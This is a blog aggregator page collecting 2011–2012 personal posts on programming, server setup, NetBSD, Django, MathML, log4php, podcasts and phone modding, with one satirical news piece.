Planet WUUG

Interesting How Things Work Out: Internet Freedom

2012-02-02T17:14:32+00:00

Tim Johnson is a U.S. Democratic Party senator from South Dakota.

He co-sponsored PIPA in the U.S.
He is also the primary sponsor of the Johnson-Shelby Iran Sanctions, Accountability and Human Rights Act of 2012, which “Requires the Administration to devise a comprehensive strategy and report to Congress on how best to assist Iran’s citizens in freely and safely accessing the Internet, developing counter-censorship technologies, expanding access to ‘surrogate’ programming including VOA’s Persian News Network, and Radio FARDA inside Iran, and taking other similar measures.”

Interesting how things work out, eh?

[HT: Jason Ditz]

What The Hare Said To Hector

2012-01-20T16:59:19+00:00

Hector: Alright, explain your game to me, Mr. Hare.

Hare: First, I will stand somewhere along the race track, but I won’t tell you where, and this wall hides me from view. Now, do you see this large contraption here?

Hector: Indeed. There is a -meter long net suspended from a high cable that extends along the track between two poles. Attached to the pole at this end (behind the wall) is a box with a crank, a lever, an anemometer, and a graphing calculator. I surmise that the crank moves the net along the cable, and that the lever releases it.

Hare: Very astute!

Hector: And I suppose that my goal is to trap you under the net?

Hare: Without any information to guide you? No such nonsense. In fact, the game is much more subtle than that. You will indeed crank the net to a position of your choosing — let’s name the end closest to you — and then release it. I will then reveal my position — call it — to you, and you must wager with me on whether I am under the net.

Hector: Too easy! If , then I wager that you are under the net; otherwise, that you aren’t. I can’t lose!

Hare: Ah, not so fast. You see, there are random winds along the direction of the race track in these parts, and so the net may be blown considerably off from a straight downward course.

Hector: Which, of course, I won’t be able to see, due to the wall.

Hare: Precisely.

Hector: So, we could say that the net covers not , but , where is a -mean Gaussian process with standard deviation .

Hare: If you like.

Hector: Hence the anemometer, from which I can estimate . I see. Thus, my task is reduced to the following: given , , , and , compute the probability that . From there, I can decide whether the wager has a positive expected value for me.

Hare: Well played, Hector. But there is still one outstanding consideration.

Hector: And that is?

Hare: Actually computing the probability you speak of quickly enough to make your wager! I have somewhere to be promptly after this game, and as you know, we leporids hate to be late…

And with that, the Hare races off around the wall and down the track.

started making my internal lan monitor stuffs

2012-01-17T07:00:52+00:00

I decided rather than having to log into my server to check my hardware raid status and other things, to make a simple little client / server app that serves the status of the raid array and other things. I've dedicated a whole monitor for this app (just a little 17" lcd) and plan to add support for windows-based systems as well.
The server is plugin-based, which means if you want to monitor some other sort of stuff, you make a very basic .so which will be loaded by the server on startup.
Currently the server reports ibm serveraid status, memory info, and uptime and load.

sandmines migrated to a new server

2011-11-07T05:26:42+00:00

I came across some 1u xeon racks which had ibm serveraid ultra320 scsi controller cards, dual xeon 3.0ghz hyperthreaded cpu's, and 2 72gb u320 scsi drives as well as 3gb of ram, so I've decided to upgrade my old server with parts from this new one (mainly because it has 8 drive bays to the 1u's 2 drive bays, plus it has redundant hot-swap power supplies). I was previously using software raid, so I'm hoping to get better performance from the new hardware raid cards. The old processors were 2.4ghz xeons, so I'm getting better performance from the new ones as well.

New Steve Jobs Successor Announced Today

2011-08-26T16:07:29+00:00

In an inevitable move this morning, Apple announced that Rudy Giuliani would be the successor to CEO Steve Jobs.

Apple announced that Rudy had plenty of experience handling the “Big Apple”, so directing the future as CEO of the little apple should be child’s play. Rudy has stated repeatedly that he’s looking forward to “a breath of fresh air” in Northern California, and the lack of term limits.

When asked about whether this had any impact on the possibility of a “Perry-Giuliani” presidential ticket, Rudy refused to answer directly and merely muttered a mysterious phrase “Look iVicePresidential?”

Speculations are swirling as to how Rudy will show himself “tough on crime” in the Apple community, which most reliable sources agree is filled with thugs and vagabonds. When asked what he could do for Apple, Rudy stated that during his mayorial career, his record on New York’s crime rate was an example of “the most focused form of policing in history” and that he would “take the iPhone desktop device to new unimagined heights”. “Believe, me, I have a legacy beyond 9/11 and Apple recognizes that. Why else would they pick me?”

When asked critical questions at the press conference about his lack of expertise, knowledge of, or passion for the Apple product line, Giuliani responded vigorously: “My technological affiliation, my geek knowledge and the devotion to Apple products, I leave to Steve Wozniak to judge.”

When Steve Wozniak, the co-founder of Apple, was asked about Giuliani he had a vigorous belly-laugh and narrowed his eyes and said, “I have an opinion, but remember I’m still technically an employee and a shareholder.” He continued to laugh and then said “Let’s just say that Rudy will never be inducted into the National Inventors Hall of Fame like I have. And he’s more of a Blackberry type of guy.”

Rudy refused to comment on Wozniak’s belly-laugh and has neither confirmed nor denied whether he will be wearing a turtleneck.

Despite obvious differences, there are some interesting similarities between Rudolph William Louis “Rudy” Giuliani and Steven Paul “Steve” Jobs. However, marketing analyst Coleen Card doubts whether Rudy can fill Steve’s turtleneck and present the sort of “cool” image that Apple needs.

Disassociated Press, August 26, 2011

started porting my gui (smg) to os x, cocoa.

2011-08-14T05:55:56+00:00

Well it seems like a good learning experience, plus expansion of my gui, to port it to os x. Since most os x cocoa apps are created using objective-c, I've had to learn the basics of that. As well, it seems most mac apps are created using an interface builder, which, to me, seems like a rapid app dev tool. After much fumbling around, I've managed to get something together that opens a window, using a dynamic library to access the objective-c cocoa stuffs, and provided an interface in C to (right now) open a window.

My Philosophy of Podcasts

2011-08-10T16:57:37+00:00

Use a good player that fully supports podcasts. The last thing you want is a player that supposedly supports podcasts but then makes you do all the leg work (thus eliminating some of the major advantages of podcasts). A podcast, by definition has a feed, and the player should support subscribing to that feed in some fashion, and have some mechanisms to automatically download the episodes for you and present them to you in some fashion. It should also provide some mechanisms to present which shows have been listed to and delete or hide them. If you are on an Android phone, I highly recommend DoggCatcher (I know, weird name, but it is great).
The beauty of podcasts is the way you can set your player/device to fetch them automatically and delete them when you are done. It’s hard to believe we had to go to the websites individually to manually download this stuff!
Having too many podcasts can be frustrating, you can never keep up. Too few can can be annoying because there will be times when you would like to listen something and simply have no episodes of anything.
Podcasts that advertise themselves as such, but then fail to provide an RSS feed annoy me to no end. Individual mp3 episodes (in my mind) are not a podcast! I can’t tell you how many times I encounter sites (made by people who should know better), who make it nearly impossible to find the podcast rss link.
Podcasts that only feature an Itunes subscribe link are annoying too! Hello, not everyone has an apple device and not everyone uses itunes…
“Is there any chance I’ll listen to an episode of this in the next month?” may be a good criteria to determine whether to subscribe.
There are basically two types of podcasts, the ones you want to listen to every single minute of, and other ones that you let run and tune in and out on (or perhaps look at the title a just skip through them).
A good balance between “an episode every day or week” and “an episode or two this year, perhaps” shows is good. Too many of the former and you will be overloaded and never able to keep up. Too few, and you’ll find yourself wanting to listen to something and not have anything.
A good variety between emphasis on episodes among your podcast list is good (ie. both long and short, interviews and lectures, serious and funny, etc.)
Are you a podcaster and you want to improve your podcast? General tips that should work out to your advantages in most cases:

Publish more than once a month but less than twice a week, and then make your shows longer if you need to.
Try to make your shows an hour or less if you can.
On your website, make the RSS feed clearly visible!
Avoid annoying ranting, if you are just one person, at least interview someone once in a while!
Balance continuity and discontinuity between shows. No thread or too much of a thread between shows can become a problem.
Each episode, while ideally sharing common themes and continuing various memes, should to some degree intelligible without listening to the previous show or all the shows up to date.
If you make jokes and your show isn’t explicitly about humor, more likely than not your jokes will sound corny.
Consider and evaluate the tone you use and the way you handle guests or people you talk about! An overly polemic or negative tone actually gets quite annoying when you listen to it over and over again.
Try to get the best audio quality you can!
Think carefully about the theme music, don’t make it too long.
Episode show notes can be a real asset if they are done well.
Constantly talking about money (unless of course you are NPR Planet Money ) gets old very quickly (and saying how you “hate doing this” or “we never do this” doesn’t make it more excusable). Hearing small one-man podcasts repeatedly talk about money gets really irritating. If you’re a big organization that actually has an infrastructure and a following outside of your podcast, this is more excusable, though depending on context it can still be annoying. I think I must have dropped at least 4-5 podcasts because the constant jabbering about money or complaining about the lack of it just got so annoying and eliminated or reduced the usefuless of the podcast. If you talk about money do it minimally, giving listeners the information they need in order to donate (without repeating it too often). While one might pay for audio content, it is highly unlikely anyone wants to pay for audio content of you asking people to pay you for audio content. If you do ask for money, I suggest taking one of the following approaches:

Put it on your website, but leave it out of the podcast.
Make it a predictable, scripted, tasteful presentation of about 15-20 seconds a consistent place in the beginning or end of your show (if I get the sense that any time, I could get an extemperaneous speech lasting between 1 minute and 20, I will drop your show ASAP).
Devote one show to talking about money and then drop the topic and do not bring it up in any other show until at least a year or two has passed.

A Fun Python/Ruby Exercise

2011-07-15T09:36:28+00:00

1. I made a function to generate one million random integers between 0 and two million.

2. I wrote another function to do a bit map sort on this list of integers (slightly cheating by having my bit map sort function receive a parameter which represented the maximum value it might encounter–two million). The bit map sort was roughly based on one in a Jon Bentley book Programming Pearls.

3. (By the way, I implemented these two functions in both Python and Ruby).

4. I then ran the following benchmarks:
A. Ruby (1.92): My bit map sort on the random integers
B. Ruby (1.92): Ruby’s built-in sort on the random integers
C. Python (3.2): My bit map sort on the random integers
D. Python (3.2): Python’s built-in sort on the random integers

Here were the results:

A. Ruby (my bit map sort, with cheating via a max value): 1.66 seconds
B. Ruby (built-in sort): 1.68 seconds
C. Python (my bit map sort, with cheating via a max value): 2.91 seconds
D. Python (built-in sort): 3.19 seconds

There is a remarkable difference between Python and Ruby in terms of speed/overhead.

(Note: After I ran the initial benchmarks, by refactoring my bit map sort to fix an inefficiency in the bitmap initialization, I was able to bring the Ruby version down to an execution time of 1.38 seconds and the Python version down to 2.77 seconds. I’ve posted the source for the python version and the ruby version.)

Thoughts on Beautiful Code

2011-07-14T16:07:24+00:00

Here are some good programming thoughts from Beautiful Code (edited by Andy Oram and Greg Wilson, O’Reilly).

On Elegance vs. Performance Trade-offs

“[I]t’s much easier to make beautiful-but-slow code fast than it is to make fast-but-ugly code beautiful” – Rusty Harold (author, former professor)

Defining Beauty

“Code is typically considered beautiful if it does what it’s supposed to do with unique elegance and economy.” – Alberto Savoia (Google)

On Testing

“Generally speaking, the main purpose of tests is to instill, reinforce, or reconfirm our confidence that the code works properly and efficiently.” – Alberto Savoia (Google)

6 @ home

2011-06-30T21:37:17+00:00

Tags:

wuug

I just got a dlink ip6-enabled router for $30 at <i>The Source</i>. Now bell doesn't give me ip6 access via the dsl link, so this can only do tunnelling to the greater ip6 internet, but that in itself is a great improvement over my old set-up which used a very unfriendly ip4 NAT.

Differences Between Python/Gvim and Java/IntelliJ

2011-06-24T11:31:32+00:00

Recently I’ve went from almost exclusively programming in Python with Gvim as my IDE to, while still using Python/Vim here and there, mainly developing with Java and IntelliJ at work.

When I’ve went back and forth between Python/Vim and Java/IntelliJ in the last couple of weeks, I’ve noticed some interesting things happening.

Here are differences that have tripped me up:

When I switch over to the Python/Vim, I find myself not saving because I’m used to IntelliJ’s constant auto save and then I wonder why the most recent change isn’t saved.
Python’s lack of explicit type definition, while I understand the reasoning behind it and the advantages, seems way more dangerous than it did before (maybe that is a good thing and will make me a better Python programmer).
IntelliJ makes my Gvim setup, which I thought was nice, seem like junk. I really do like what JetBrains did with IntelliJ. Vim seems like such a barren world without IntelliJ features like strong version control integration, strong project integration, crazy code competion (with even code completion integration in templating library markup!) and powerful commands like Ctl-B, Ctl-Shift-B, Ctl-Shift-N, Alt-Insert, etc. Refactoring and reworking code seems to often be more work than it should be even with the most advanced Vim setup.
The fact that I can just write a .py file without a class directly undergirding it feels weird after being immersed in Java.
It’s HARD to switch between Java and Python style naming conventions. This huge Python fan is starting to see the advantages of Java-style naming when it comes to bigger object hierarchies.

Here’s some things I *thought* would trip me up, but haven’t:

The semi colon to end a line thing versus no semicolon. Transitioning between these styles has presented no difficulty. Since the change, I’ve never put a semi-colon in a Python program or vice versa.
Switching back and forth between the differences in compilation between Java and Python is pretty much a non-issue. Anyways, that sort of stuff should normally be abstracted away from the programmer by an IDE, build tasks, or other deploy processes.
It’s easy to continue to appreciate Python’s less verbose way of doing things!

I’m currently checking out PyCharm (JetBrain’s Python IDE which is fairly similar to IntelliJ). Haven’t used it enough to review it, but I will soon. Maybe this is a way I can bridge the two worlds! Just for the record, I’m by no means giving up on Vim. I still love the POWER and FLEXIBILITY of Vim. I just want to use the right tool for the right job. And while you can do hard core development with Vim, I’m starting to think it may not be the most efficient tool for the job when compared with IntelliJ/PyCharm (depending, of course, on you are content using the community edition or springing some money for the fully featured product).

Miss Register, I Presume?

2011-06-04T19:11:25+00:00

In my AIM 2010 paper, I describe how to obtain a projective transformation from the image plane to the laser plane in a line laser 3D range imaging system. With the laser oriented vertically (i.e. perpendicular to the transport direction of the object being scanned), this allows for mapping of image coordinates directly to 3D coordinates.

Specifically, the coordinates of a point in the image map through to yield the coordinates in the laser plane. Then, if is the transport direction offset between profiles, the 3D coordinates of such a point in profile are .

There is an additional step when the angle between the laser and the vertical axis is nonzero, as in the common configuration shown below, where the camera (rather than the laser) is orthogonal to the transport surface.

In this case, knowing the angle is the key. Assuming the transport direction is positive away from the laser side and the object runs toward the laser, a point in the image maps to 3D coordinates , where and are found as before.

I have a feeling that it is possible to derive from . More formally, given the matrix representation of a projective transformation between two planes and , and supposing is the line of intersection of and , what is the angle between vectors and lying, respectively, in and and perpendicular to ?

Fail Early, Fail Often

2011-06-01T05:31:37+00:00

I have been reading some user experience books lately. While doing so, I came across this gem:

The ceramics teacher announced on opening day that he was dividing the class into two groups. All those on theleft side of the studio, he said, would be graded solely on the quantity of work they produced, all those on the rightsolely on its quality. His procedure was simple: on the final day of class he would bring in his bathroom scalesand weigh the work of the “quantity” group: fifty pounds of pots rated an “A”, forty pounds a “B”, and so on. Thosebeing graded on “quality,” however, needed to produce only one pot—albeit a perfect one—to get an “A.” Well,came grading time and a curious fact emerged: the works of highest quality were all produced by the group beinggraded for quantity. It seems that while the “quantity” group was busily churning out piles of work—and learningfrom their mistakes—the “quality” group had sat theorizing about perfection, and in the end had little more toshow for their efforts than grandiose theories and a pile of dead clay. (Bayles & Orland 2001; p. 29)

Some IntelliJ IDEA Notes

2011-05-25T14:48:22+00:00

Getting adjusted to Java development within IntelliJ IDEA has been interesting. It’s a GREAT development environment.

I’m using Community Edition 10.0.3

Here are some quick notes of some commands and features I’ve found useful:

To enable or disable a plugin: File, Other Settings, Configure Plugins
Get a plugin from the repository (for example, get the Foo plugin): File, Settings, Plugins, [wait for it to download the full list], Available tab, right-click “Foo”, select “Download and Install”, and then press”Yes”
Change which SDK your project uses: Right click project, Open Module Settings, Project, select it in Project SDK section
Attach a jar file or jar directory to your project: Right click project, Open Module Settings, Dependencies Tab, Add, Library, and then either “Attach Classes” or “Attach Jar Directories”
Run your code (Keyboard Shortcut): Shift, F10
Go to Settings (Keyboard Shortcut): Ctl, Alt, S
Module Settings (Keyboard Shortcut): F4 (when in module)
Find usages of something (Keyboard Shortcut): Alt, F7 (while on it)
Collapse/Expand a method (Keyboard shortcut): Ctl, Numpad + and Ctl, Numpad -
Go to Type declaration (Keyboard shortcut): Ctl, Shift, B

NetBSD Episode #3

2011-05-15T21:32:33+00:00

I overcome the “shared memory segment” error I encountered earlier using postgre’s initdb by tweaking shared_buffers and max_connections in postgresql. This is just a staging install, so I could take those settings way down.
I then used pkg_add to install subversion, openjdk7
I set JAVA_HOME:
- export JAVA_HOME=/usr/pkg/java/openjdk7/bin/
- export JAVA_HOME

NetBSD Episode #2: Continuing On

2011-05-06T10:28:16+00:00

Now I’ve continued, and done the following.

Used pkg_add to install ruby19-rails, wget, links, vsftpd, django, south, and postgresql
Copied /usr/pkg/share/examples/rc.d/vsftpd to /etc/rc.d/vsftpd
Copied /usr/pkg/share/examples/rc.d/pgsql to /etc/rc.d/pgsql
Added vsftpd=YES and pgsql=YES to /etc/rc.conf
Then I went to initialize the postgres with initdb, ie:
- useradd -m postgres
- passwd postgres
- mkdir /usr/local/pgsql /usr/local/pgsql/var
- chown -R postgres:users /usr/local/pgsql
- su postgres
- initdb -D /usr/local/pgsql/var

At this point, running initdb failed complaining it can’t create a “shared memory segment”. “This error usually means that PostgreSQL’s request for a shared memory segment exceeds available memory or swap space.

I ran out of time this morning and have not had an opportunity to address this yet.

NetBSD Episode #1: My New Staging Environment

2011-05-04T01:26:32+00:00

Recently I deployed a new staging environment on my home computer. I decided to use NetBSD 5.1 (for the i386 architecture) running on Virtual Box on my desktop.

Some randomish notes:

I decided to use blowfish for the user passwords
I added a non-root user and I changed the hostname to “hayek” in /etc/rc.conf
I want SSHD started by default, so I put sshd=YES into /etc/rc.conf
In order to get NetBSD’s package system pkgsrc going, I had to enter the following into my shell
- export PKG_PATH=”http://ftp.NetBSD.org/pub/pkgsrc/packages/NetBSD/i386/5.1/All”
- export PKG_PATH
I then used pkg_add to install nginx and added a couple lines to /etc/newsyslong.conf as suggested by pkg_add
I then had to enable nginx in /etc/rc.conf and copy /usr/pkg/share/examples/rc.d/nginx to /etc/rc.d/nginx
I also used pkg_add to install python (2.7.1) vim, ruby (1.9.2p180), mysql-client, mysql-server (5.1.56)
Then I set the mysql root user password with /usr/pkg/bin/mysql_secure_installation (although it alternatively if I had more patience, I could have been set directly via mysqladmin)
I then had to enable mysql in /etc/rc.conf and copy /usr/pkg/share/examples/rc.d/mysql to /etc/rc.d/mysql
To be continued…

Anyways, this really isn’t anything out of the ordinary, just thought I’d share.

Apps I Really Appreciate

2011-04-20T13:08:36+00:00

This is a start, I’m not promising this list is complete!

Networking

Text Editors

vim – Calling it a “text editor” is an understatement (in case you are interested, check out my vimrc file)

Graphics

Gimp – GNU Image Manipulation Program

Database Development

MySQL, PostgreSQL, SQLite, MongoDB
sqlite-manager – A really, really handy SQLite front-end as a Firefox extension
HeidiSQL – My prefered GUI MySQL front-end

Languages / Platforms

Android Apps

DoggCatcher – excellent audio/podcast manager
Google Reader/Places/Maps/Talk
Dropbox
Amazon Kindle
SL4A / Python for Android (Python on the android!)
gh4a (Git Hub for the Android)
Droidstack (for the stack sites, like stackoverflow)
Urban Spoon
GasBuddy
Olivetree Bible Reader
ESV Bible App
The Weather Channel
iBirdLite
Traffic Jam (game)

Web Services/Apps

Google Mail/Reader/Maps/etc.
(ok I’ll say Facebook)
GitHub
StackOverflow
Flickr
LinkedIn
BaseCamp
WordPress
Pintrest – Ok, this is my wife’s toy
Kijiji – Classifieds
Craigslist – Classifieds
Jslint – Lint for JavaScript (as a web service)
w3cvalidator – Validate your html!

Django Models and Inheritance

2011-03-11T22:54:53+00:00

One of the first stumbling blocks that I came across as I’ve been learning Django (a Python web framework) was when I tried to do some inheritance with my models in app/models.py. It had to do with abstract super classes.

Intuitively, I assumed that Django would take super classes and figure out how they worked and ignore the abstract super (or base) classes persay and generate the SQL for their sub (or derived) classes by properly negotiating the inheritance.

So I went ahead and did something like this:

class super_class(models.Model):

>>> field1 = models.BooleanField()

class sub_class(super_class)

>>> field2 = models.BooleanField()

I was wrong. It generated the SQL tables for all of the classes, including the abstract super classes, which technically could be made to work, but is certainly not what I wanted. While it isn’t very apparent in an example with just two models, it introduces too much complexity in the database design since it makes a table relationship for every inheritance. We want tables for concrete super classes but not abstract ones.

So, on to my next intuition. I assumed that if I made my super class not inherit models.Model and made the sub class use multiple inheritance and inherit models.Model and the sub class, this would all work. Seemed to make sense to me at least. So, I did something like this:

class super_class():

>>> field1 = models.BooleanField()

class sub_class(model.Models, super_class)

>>> field2 = models.BooleanField()

Again, I was wrong. While last time the result was convoluted and inefficient, this time the result was worse and clearly crippled. While the correct tables were displayed (ie. the super classes didn’t appear as a table), the fields from the Super Class (represented in my snippet represented by “field1″) were missing. I assumed that, perhaps, the model for the sub class would get “field 1″ even though the super class was not inheriting model.Models. I was wrong and stuck.

With some assistance from Michal Petrucha over at django-users, I was able to learn that I was indeed missing something.

In order to make what I was doing, I had to set a property within a Meta class embedded in my super class. Like so:

class super_class(models.Model):

>>> field1 = models.BooleanField()

>>> class Meta:

>>> >>> abstract = True

class SubClass(SuperClass)

>>> field2 = models.BooleanField()

With this little modification, everything works as expected. I have my abstract super classes and sub classes, and the relationship between them works as I would expect. Abstract super classes propagate their properties to the SQL tables of their sub classes, but don’t actually show up as a table of their own.

Thank you Django-Users and especially Michal in helping me to further my Django understanding!

Ancient Code on GitHub

2011-03-11T17:08:36+00:00

I rarely speak about technical/programming things on this blog, but you may see that changing a bit. Sometimes I find I don’t need a blog as an outlook to talk about technical things, as has been the case for years, and so then I blog on other things. And at other times, it is sort of nice to talk about my technical interests!

I’ve joined GitHub and just making some really quick perusals of it. It’s a really neat community. The easiest way to describe it is by the motto “social coding”.

So far my contributions have been limited to Gists, so no repository hacking yet (although technically a gist has its own little repository). What I’ve posted are basically old Python code snippets that I found laying around on my usb hd from back in the day. That’s “old” with a capital O. Nothing close to profound, elegant, or significant. If there was such a category, it would probably be filed as Ancient Throw-Away Code Snippets That Nobody Will Care About.

Here they are:

gist: 866208 A Demonstration of how to use a wxPython “Notebook” with panels (WARNING: old code)

gist: 862171 An incomplete experiment with building calendar functionality with the Python icalendar module

gist: 862159 Old code generating txt list of contents of a collection of zip files — shows zipfile module

gist: 861061 Some throwaway code I used to demonstrate the IDEA cipher with the PyCrypto library

gist: 861057 Some throwaway code I used to demonstrate the RC5 cipher with the PyCrypto library

gist: 861053 Some throwaway code I used to demonstrate the DES3 cipher with the PyCrypto library

gist: 861040 Some throwaway code I used to demonstrate the DES cipher with the PyCrypto library

gist: 861037 Some throwaway code I used to demonstrate the blowfish cipher with the PyCrypto library

gist: 861036 Some throwaway code I used to demonstrate generating hashes with the PyCrypto library

gist: 861011 Python Anagram Fetcher (WARNING: obsolete code)

gist: 860797 SermonAudioParser – A throwaway demo of using UniversalFeedParser to do some basic searches on the SermonAudio.com feed

gist: 866207 A sample Python StringValidator class (warning: OLD CODE)

more on my rpg

2011-03-09T06:34:23+00:00

I've added quite a bit of functionality to my rpg since my last blog entry. line of sight, lighting areas, lightsource ranges, and many other things.
Rather than plugging up my blog, I've decided to post my changes / additions / etc to my forum.
http://forums.sandmines.org/viewtopic.php?f=8&t=3 is the url to the thread.

http://images.sandmines.org/game_img.jpg is the latest image which happens to be inside of a dungeon.

Announcing Viral Landing Page

2011-03-02T05:17:03+00:00

I have been working on a few projects which require a landing page over the past couple of months, and this has come to the forefront of my thoughts more recently. As a Startup Weekend alumnus, I was pretty excited to see that launchrock was fully launched and gaining quite a bit of traction. One problem, though, is that I would have to sign up for each project and then promote the links. I don’t like to post too many links on my Twitter and/or Facebook accounts, so I decided against this. If you’re not familiar with the concept, here is an excerpt from the description on the Github repo:

When a user submits their e-mail address, it will immediately be recorded to the
local database. The user will then be shown "sharing" icons from Facebook and
Twitter. Each successful click or referral will be recorded to the database for
that user. This makes it easier for you to allow earlier access to people who are
driving traffic to your site.

The next route was to implement something similar, which I did over the past couple of days. The result is viral-landing-page (very original name, I know), which can be found in my Github repositories immediately. Viral-landing-page was written in Ruby on Rail because, well, I love the framework. For Javascript, I chose jQuery for similar reasons.

Viral-landing-page far from polished, but it should be good enough to begin using immediately. I chose to license it under the BSD open source license, which is quite permissive. While it isn’t required, I’d like to know who is using this software (and early access to your startup =D). You can comment on this blog post, or contact me via any other methods. I will be actively adding features (maybe an admin viewer) as I use the project more and more for my own needs. Feel free to fork and push back any changes!

rpg coming along even more

2011-02-07T12:13:42+00:00

Well, its my third day in, and my rpg is maturing slowly.

I've added a character creation dialog http://images.sandmines.org/game_gen.jpg. race / class descriptions are read in and parsed from a simple text file. dice values such as '3d4' can be specified.

I've also added a simple game dev menu dialog. http://images.sandmines.org/game_dev.jpg. It just lets me hide and show the small version of the map http://images.sandmines.org/game_smallmap.jpg. It also has a few test features such as not taking any damage and killing monsters fast.

my basic rpg

2011-02-05T22:58:21+00:00

Well I started my basic rpg yesterday, and am happy to say it is coming along!!

http://images.sandmines.org/game.jpg

is a screenshot.

Its a simple tile-based, turn-based game (getting ideas from zangband).

it generates content dynamically (or at least it will, for now, it just draws random blocks of images :) )

it allows targetting by pressing tab and it will cycle through the near monsters.

it has an action bar for your attacks, etc.

it draws a little 'hit' image (that stays for 400ms for now) on a monster when you hit it.

Lévy Flight Visualization in Python

2011-01-31T12:45:10+00:00

A Lévy flight is a kind of random walk, and supposedly it looks like the paths sharks follow when hunting. Basically you get a bunch of points near one locale then a jump to a new locale. It must've been mentioned on Numb3rs at some point because I read a little more about it and wasn't satisfied with the pictures on Wikipedia. So I wrote a little visualization with PyGame. I borrowed heavily from the stars.py example that comes with PyGame but the whole thing only took 60 lines. Have a look, I put it up on Google Code.

On the 6

2011-01-30T16:08:44+00:00

Tags:

wuug ip6

Yup. I took the leap and have set up shop on the greater ip6 landscape. You can see far but it's pretty lonely out here. Not much traffic coming this way. And I am only able to test the server via IPv4Gate which offers a cool service where you append .ipv4.sixxs.org to the end of the domain of the web site you are interested in browsing to and it acts as an intermediary between your xenophobic old ip4 home connection and the great open ip6 vistas --- no complicated tunnel configuration required. This is kind of like NAT but it operates at a much higher level --- it needs to rewrite absolute URLs to use the domain prefix otherwise things break --- and that rewriting does break site linking to ip4 only sites.

Drupal 7

2011-01-06T17:23:51+00:00

So the upgrade hasn't been painless. I am getting error messages on every create content form to do with fields, even though I am not using any at the monent. Also the dashboard wont seem to turn on. The overlay is quite nice though.

Write vectors like you mean it

2011-01-05T16:55:19+00:00

Every math class I took used an arrow like ⇀ over a variable name to denote a vector. But a lot of books use a really heavy bold to indicate a vector instead. I think it's because of the difficulty of printing a book with special symbols all over the place. Luckily now we have text shown on screens and easy composition tools so that's not an issue today and kids are taught how to put a "Rightwards Harpoon With Barb Upwards" over letters on the second day of keyboarding class. What? You were sick that day? Here, I'll explain.

Okay, it's not that easy. If only U+034F COMBINING GRAPHEME JOINER joined graphemes (which it does not). Unicode doesn't cover the case of generically putting one glyph over another, I'm not sure exactly why, but it sounds like what I want might be considered a Presentation Form. Too bad, I wish basic math notation was part of plain text but it's not. So we need a markup language.

MathML is the XML language that's built for writing stuff like this and up until now simple MathML examples have evaded me. But today I'm going to put a Rightwards Harpoon With Barb Upwards over a letter, like any high school student typing their physics homework should be able to do. Luckily, like SVG, MathML is being retrofitted into html5 and I have the lucky happenstance of writing this post in Firefox 4 beta 8, which renders MathML in html5. Other browsers may barf.

MathML has a presentational and content markup. It looks like the content markup is about calculating things and letting machines know they can interpret the MathML expression. That's not what I'm after today, I'm not going to make a mathematical expression, just one statement. In the presentational markup it quickly becomes clear that the mrow element does a lot of work and mo is the "magic operator" element (I'm sure that's not what it stands for but it certainly does seem to do layout by magic).

So the situation is this: it looks like we need an mrow containing the vector symbol, ⇀, and my variable name. After a little poking around I came up with this markup:

<math>
<mrow>
<mover>
<mi>
v
</mi>
<mo>
&RightVector;
</mo>
</mrow>
</math>

The Unicode character ⇀ (which is &#x21C0) should act the same as a named entity. I have an XML-brain though so I jumped into the Operator Dictionary and found the named entity that sounds like what I want: &RightVector;. The Operator Dictionary looks like an essential component of getting what an <mo> element might do. Using the entity is also pretty clear and may lead to valid XML if that's something you need. And here's what it looks like if your browser renders the markup above:

v &RightVector

(this looks perfect to me in my current browser).

Getting this MathML that renders left me with one more question. If I just have the vector symbol in an mtext element, what happens if I want the arrow over-top some compound expression like uv (though I don't think I've ever seen this in a text book). Here it is: uv &RightVector , and this renders exactly as I'd hope.

I also tried using an mtext element instead of the mo and that seems to work just fine. I'm not clear on what the difference between the two is yet but the description of mo sounded pretty convincing that it was the "right" element for this.

log4php

2011-01-04T03:55:21+00:00

log4php was pretty easy to get started with but I think it's made for people who already understand Log4J. The configuration page is pretty clear for a basic set up but there are a ton of more advanced options.

In my case I've been using something like

date_default_timezone_set('America/Los_Angeles');
require_once "log4php/Logger.php";

class Foo {
public function __construct($cid = 0) {
Logger::configure(dirname(__FILE__).'/log4php.properties');
$this->logger = Logger::getLogger('Foo');
...
$this->logger->debug('made a foo ' . $someVal);
}
}

And in my log4php.properties file I have a line that I think defines the logger named Foo (which I use exclusively in the class named Foo).

...
log4php.appender.Message = LoggerAppenderFile
log4php.appender.Message.file = /path/to/my/project.log
log4php.appender.Message.layout = LoggerLayoutTTCC
...

I have other loggers defined in there as well, including a root logger. And things seem to work. Mostly. I haven't been able to shut off logging from a class, which I think I should be able to do with a line like

log4php.appender.Message = LoggerAppenderNull

This part doesn't behave as I'd expect. Outside of that though, I've used log4php to get a lot of diagnostic info. It was also really easy to spit out log lines over plain TCP/IP using LoggerAppenderSocket and catch it on another machine with netcat (nc).

Overall using log4php has been well worth the little time it took to figure it out. One of these days I'll sort out that last kink & figure out how to toggle logging by class too.

Modding my HTC Magic

2011-01-02T00:08:26+00:00

Now that I'm using my Nexus S the HTC Magic I was using before feels really slow. I decided that instead of just doing a factory reset and giving it away I'd try putting CyanogenMod on it. I don't know a lot about it but I'd heard CyanogenMod is good at scaling down for slower devices. It wasn't simple, and I'd already unlocked my device previously. What follows are just a few notes in case I have to do it again. This is what worked for me to get CyanogenMod 6.1 on this phone, there's an HTC Ion here that I might need to do the same for some day.

Most of the process is described step-by-step on the CyanogenMod wiki page for the Magic.

I was concerned about backing up my Google apps (since I'd heard about the separate licensing), I tried Astro and another backup tool but couldn't see them. As it turns out, the Google apps didn't have to be backed up, there's a package to flash them later on.

I booted the phone to see which model it was by holding back & power together. This showed it was an HTC Magic 32B, RADIO-2.22.27.08, etc. After that I turned off syncing and did a factory reset, since I was giving away the phone and didn't know what would come next (though I think that was unnecessary). Part of the process to root the phone uses an exploit on an older version of Android, so basically what happens is you put the exploitable version on, then boot and install FlashRec and take advantage of the exploit to install the modded firmware. This installs an older version of CyanogenMod and then you're able to upgrade to the latest. At least I think that's what happened.

Installing FlashRec from the SD Card needs an app that can do that installation, like Quick App Install. Unfortunately this introduced one extra annoyance for me. My phone came from T-Mobile and I use a T-Mobile SIM in it. I was modding it in Windsor (Canada) so I had no data plan and the old version of Android needs cell data to get through the start up process (just for signing in to Google). Luckily someone in the house had a Rogers SIM I could borrow to get the job done (of course I still had to manually enter the APN info).

